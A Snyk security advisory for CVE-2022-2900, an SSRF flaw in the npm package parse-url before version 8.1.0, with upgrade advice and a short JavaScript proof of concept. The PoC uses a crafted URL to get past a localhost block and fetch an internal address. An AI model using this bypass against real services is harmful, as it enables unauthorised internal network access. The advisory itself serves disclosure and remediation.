Server-side Request Forgery (SSRF) Affecting parse-url package, versions <8.1.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.15% (53rd
percentile)
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Test your applications- Snyk ID SNYK-JS-PARSEURL-3023021
- published 14 Sep 2022
- disclosed 14 Sep 2022
- credit ranjit-git
Introduced: 14 Sep 2022
CVE-2022-2900 Open this link in a new tabHow to fix?
Upgrade parse-url to version 8.1.0 or higher.
Overview
parse-url is an An advanced url parser supporting git urls too.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to improper detection of protocol, resource, and pathname fields. Exploiting this vulnerability results in bypassing protocol verification.
PoC:
import parseUrl from "parse-url";
import fetch from 'node-fetch';
var parsed=parseUrl("http://nnnn@localhost:808:/?id=xss")
if(parsed.resource=="localhost"){
console.log("internal network access is blocked")
}
else{
const response = await fetch('http://'+parsed.resource+parsed.pathname);
console.log(response)
}
References
CVSS Scores
version 3.1